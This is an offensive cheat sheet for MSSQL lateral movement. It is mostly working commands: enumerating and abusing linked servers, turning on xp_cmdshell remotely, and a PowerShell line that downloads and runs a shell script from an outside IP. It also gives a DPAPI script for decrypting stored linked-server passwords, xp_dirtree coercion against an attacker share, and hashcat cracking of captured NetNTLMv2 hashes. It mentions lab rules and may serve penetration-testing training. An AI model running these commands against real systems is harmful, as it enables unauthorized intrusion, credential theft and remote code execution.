MSSQL lateral movement usually means linked servers, domain service accounts, SQL Agent proxies, recovered credentials, or UNC authentication coercion.
Linked Server Concept
Linked servers allow one SQL Server to query another server.
Remote execution methods:
OPENQUERY
EXECUTE AT
OPENROWSET
The critical question is:
what login mapping does the link use on the remote server?
If the remote mapping is privileged and RPC OUT is enabled, a normal foothold can become remote SQL execution or remote OS command execution.
Enumerate Linked Servers
EXEC sp_linkedservers;
SELECT * FROM sys.servers;
Useful fields:
SELECT name, product, provider, data_source, is_linked, is_remote_login_enabled, is_rpc_out_enabled
FROM sys.servers;
Basic remote query:
SELECT * FROM OPENQUERY(SQL07, 'SELECT name, database_id, create_date FROM sys.databases');
Check remote context:
EXEC ('SELECT @@SERVERNAME, SYSTEM_USER, USER_NAME(), IS_SRVROLEMEMBER(''sysadmin'')') AT [LINKNAME];
Alternative:
SELECT * FROM OPENQUERY(SQL02, 'SELECT IS_SRVROLEMEMBER(''sysadmin'')');
Remote xp_cmdshell Through Link
If the remote mapping is strong enough:
EXEC ('EXEC sp_configure ''show advanced options'', 1; RECONFIGURE; EXEC sp_configure ''xp_cmdshell'', 1; RECONFIGURE; EXEC xp_cmdshell ''whoami'';') AT [SQL02];
PowerShell variant:
EXEC ('EXEC xp_cmdshell ''powershell -c "IEX (New-Object Net.WebClient).DownloadString(''''http://10.10.15.219:9999/shell.ps1'''')"'';') AT [SQL02];
If quoting becomes painful, start with:
EXEC ('SELECT @@VERSION') AT [LINKNAME];
EXEC ('EXEC xp_cmdshell ''whoami''') AT [LINKNAME];
Chained Links
After landing on one linked server, enumerate links from that server:
EXEC ('EXEC sp_linkedservers') AT [LINKNAME];
Then query the next link from the remote context if permissions allow.
The pivot chain is:
SQL01 -> SQL02 -> SQL03
At each hop, re-check:
SYSTEM_USER
IS_SRVROLEMEMBER('sysadmin')
RPC OUT
xp_cmdshell
linked servers
Decrypting Linked Server Passwords
This is a post-exploitation path after compromising a machine that hosts MSSQL.
Requirements:
- sysadmin access to SQL Server
- local administrator on the underlying Windows server
- access through the Dedicated Administrator Connection for encrypted linked-login material
Enumerate encrypted linked server credentials through DAC:
SELECT sysservers.srvname, syslnklgns.name, syslnklgns.pwdhash
FROM master.sys.syslnklgns
INNER JOIN master.sys.sysservers
ON syslnklgns.srvid = sysservers.srvid
WHERE LEN(pwdhash) > 0;
Inspect key encryptions:
SELECT * FROM sys.key_encryptions;
Retrieve entropy from the host registry:
Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy"
Decrypt the Service Master Key with DPAPI:
$encryptedData = "0xFFFFFFFF500100<SNIP>";
$encryptedData = $encryptedData.Substring(18);
$encryptedData = [byte[]] -split ($encryptedData -replace '..', '0x$& ');
$entropy = (Get-ItemProperty -Path "HKLM:\SOFTWARE\Microsoft\Microsoft SQL Server\MSSQL16.MSSQLSERVER\Security" -Name "Entropy").Entropy;
Add-Type -AssemblyName System.Security;
$SMK = [System.Security.Cryptography.ProtectedData]::Unprotect($encryptedData, $entropy, 'LocalMachine');
Write-Host (($SMK | ForEach-Object ToString X2) -join '');
Split linked-login hashes into IV and ciphertext:
SELECT
name,
SUBSTRING(pwdhash, 5, 16) AS IV,
SUBSTRING(pwdhash, 21, LEN(pwdhash) - 20) AS Ciphertext
FROM sys.syslnklgns
WHERE LEN(pwdhash) > 0;
For SQL Server 2012 and newer, the Service Master Key is typically used with AES. Older versions may use 3DES. The decrypted password text is UTF-16LE.
Domain And Service Account Lateral Movement
Identify domain context:
SELECT SYSTEM_USER;
SELECT DEFAULT_DOMAIN();
Coerce SQL service account authentication:
EXEC xp_dirtree '\\ATTACKER\\share\\ping';
EXEC xp_subdirs '\\ATTACKER\\share\\ping';
EXEC xp_fileexist '\\ATTACKER\\share\\ping';
Then crack or relay according to the lab rules.
NetNTLMv2 cracking:
hashcat -m 5600 hashes.txt rockyou.txt
Cross-Database Lateral Movement
Check:
SELECT name, value_in_use
FROM sys.configurations
WHERE name='cross db ownership chaining';
Pivot:
USE dbA;
SELECT * FROM dbB.sys.tables;
This is lateral movement inside the SQL instance rather than host-to-host movement.